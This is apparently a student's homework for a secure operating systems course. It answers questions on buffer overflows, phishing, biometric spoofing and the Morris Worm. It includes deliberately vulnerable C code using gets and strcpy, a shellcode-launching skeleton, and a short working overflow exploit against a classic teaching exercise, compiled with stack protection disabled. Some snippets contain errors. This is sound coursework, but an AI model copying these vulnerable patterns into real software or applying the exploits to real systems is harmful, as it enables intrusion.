ENPM695 – Secure Operating Systems

Homework – 1

Author – Syed Mohammad Ibrahim

UMD ID: iamibi

UID: 118428369

Email: iamibi@umd.edu

1. Explain how a buffer overflow works (10 points)

A. A buffer overflow occurs when an application/program tries to fill a block of memory with more data than the buffer can hold. An attacker can craft user inputs to a vulnerable program, forcing the application to execute arbitrary code to take control of the machine or crash the system. For Example, in C programming language, an array declared with a size of 10 bytes can be overflown if proper checks at input are not taken.

2. What is the difference between a stack-based buffer overflow and heap-based buffer overflow? (5 points)

2.1. Give an example of each used in an exploit (5 points)

A. A stack-based buffer overflow relies on tampering with the stack layout that is generated by the process initiated by an Operating System. The stack is responsible for managing the function calls from caller to callee by storing their return addresses and other variables. Heap-based buffer overflow is a condition which is caused by overwriting the memory allocated on heap (like malloc function in C) and overflowing it.

Example:

- Stack Based Buffer Overflow

```
void function(char* str) {
  char buf[80];

  strcpy(buf, argv[1]);
  printf("%s\n", buf);
}
int main(int argc, char **argv) {
  if (argc != 2) return;
  function(argv[1]);
```

```
}
```

The ‘buf’ variable can be overflown and an attacker can potentially craft a special input which can potentially spawn a shell or perform some other malicious activity.

- Heap Based Buffer Overflow

```
#define BUFSIZE 256
int main(int argc, char **argv) {
  char *buf;
  buf = (char *)malloc(sizeof(char)*BUFSIZE);
  strcpy(buf, argv[1]);
}
```

The ‘buf’ memory is allocated on the heap and thus, can be overflown as no proper sanity checks are provided in-place.

3. What is the phishing? What is pharming? What is the difference between phishing and spear-phishing? (15 points – 5 points each)

A. Phishing is a type of Social Engineering attack which leverages the victim’s social life that is used by an attacker to perform an attack by email, sms or some other electronic means to trick the user on clicking on malicious links that look legitimate in hindsight but are bogus and may cause the victim to input their credentials or gain access to some sensitive information.

Pharming is a type of social engineering attack in which attackers redirect their victims trying to reach a specific website to a different, fake site. These fake sites aim to capture a victim’s personally identifiable information (PII) and log-in credentials, or else they attempt to install malware on their computer.

The difference between phishing and spear-phishing is that phishing emails/texts are targeted to many random audiences with an expectation that a few of them will respond. An example of such case can be a delivery email which says “Your package has been delayed. Click here for details.”. Upon clicking the link, it will lead to a fake website or install a malware on the system. On the other hand, a spear-phishing emails/texts are specially crafted for a single victim. This is usually done by performing information gathering on certain individual present in an organization using social media and any other kind of public information available and then craft an email/text message that is tailored to that person. On clicking the link, the user is landed to a fake website and potentially a malware is installed.

4. List the four types of buffer overflows and provide an example of each one (10 points)

A. The four types of Buffer Overflows are:

- Stack-based buffer overflows

Example: The following program is vulnerable to stack-based buffer overflow as there is no bounds checking being done by the program on ‘str’ before the ‘strcpy’ function is called.

```
void function(char* str) {
  char buf[80];

  strcpy(buf, argv[1]);
  printf(“%s\n”, buf);
}
int main(int argc, char **argv) {
  if (argc != 2) return;
  function(argv[1]);
}
```

- Indirect pointer overwrite

This type of attack occurs by overwriting a target memory location by overwriting a data pointer. The attacker can pass in a shellcode while overwriting the pointer location thus, gaining access to a shell.

Example:

```
static unsigned int a = 0;

int main(int argc, char **argv) {

  int *b = &a;

  char buf[80];

  printf(“buf: %08x\n”, &buf);

  gets(buf);

  *b=stroul(argv[1],0,16);

}
```

- Heap-based buffer overflows and double-free

Example: The following program uses ‘malloc’ to dynamically allocate memory. However, there is no validation performed while copying the contents of ‘argv[1]’. Thus, an attacker can perform an overflow attack by passing a specially crafted input.

```
#define BUFSIZE 256
int main(int argc, char **argv) {
  char *buf;
  buf = (char *)malloc(sizeof(char)*BUFSIZE);
  strcpy(buf, argv[1]);
}
```

- Overflows in other memory segments

Example:

```
int main(int argc, char **argv) {
        char buffer[476];
        char *execargv[3]={"./abo7", buffer, NULL};
        char *env[2] = {shellcode, NULL};
        int ret;
        ret = 0xBFFFFFFF – 4 – strlen(execargv[0] ) – 1 – strlen(shellcode);
        memset(buffer,'\x90', 476);
        *(long *) &buffer[472] = ret;
        execve(execargv[0], execargv, env);
}
```

5. Biometrics such as fingerprints, retina patterns and voice print are used as part of a multi-factor authentication scheme. Thinking like an attacker – how can a fingerprint scanner be fooled into accepting an unauthorized user as a legitimate user (assuming they know the target user account's password)? (15 points)

A. There are multiple ways an attacker can break the biometric multi-factor authentication. One of the ways can be gaining access to the user's fingerprint by getting an object that they have touched. Usually, a fingerprint scanner generates and image from the sensor and then compares it with the stored value. An attacker can make the sensor think that the image they are receiving are of the intended user which in turn can get them access to the information.

6. Which is more complicated to implement correctly in an operating system, authentication or authorization? (10 points)

A. Authorization is difficult to implement compared to Authentication since defining a set of roles and permissions to an individual gets difficult as the access to system grows. Currently, all the major OS have a generic role definition which are good for small set of people. However, as the number of people grow, having a dedicated set of permissions and access to certain information depending on the clearance level matters.

7. In 1988 the Morris Worm spread throughout the Internet by exploiting the Sendmail Mail Transfer Agent program that was common throughout UNIX systems.

7.1. What type of vulnerability did the Morris Worm exploit? (5 points)

7.2. What specific Sendmail command did the Morris Worm use to initiate the attack? (5 points)

7.3 What other programs did the Morris Worm use to spread itself across the Internet at that time? (5 points)

A. Answers to the above questions:

7.1. The Morris Worm originally was targeted to exploit UNIX based. However, multiple allowed it to spread beyond that limitation. Following attack modes were available in the Morris Worm:

- An internet service known as “name/finger protocol” which was available in most of the UNIX systems and was used for supplying information about other users on the network.

- An easy-to-guess password target which involved getting hold of encrypted user’s password file and then performing a dictionary-based attack on it. If successful, it will login as that user on the network and then will try the same for that user, thus, creating a chain of password-based attack.

- A security vulnerability in the sendmail utility with a backdoor.

7.2. Sendmail DEBUG mode was used as an entry point to initiate the Morris Worm attack.

7.3. An internet service known as “name/finger protocol” which was available in most of the UNIX systems and was used for supplying information about other users on the network. Another one was an easy-to-guess password target which involved getting hold of encrypted user’s password file and then performing a dictionary-based attack on it. If successful, it will login as that user on the network and then will try the same for that user, thus, creating a chain of password-based attack.

8. For the following code, provide a simple exploit that will trigger buffer overflow and have the code print out “you win!” (15 points)

```
/* stack1-stdin.c *
 * specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
        int cookie;
        char buf[80];
        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);
        if (cookie == 0x41424344)
```

```
        printf("you win!\n");
}
```

A. The program above can be exploited by performing buffer overflow attack. For this, I will be using python 3 to pass in the input via command line. The program is compiled for 32-bit little-endian architecture.

Commands used are:

For compiling (on x86_64 ubuntu machine): gcc -m32 stack-smash.c -o stack-smash -fno-stack-protector

Exploit Script: python3 -c "print('A' * 80 + 'DCBA')" | ./stack-smash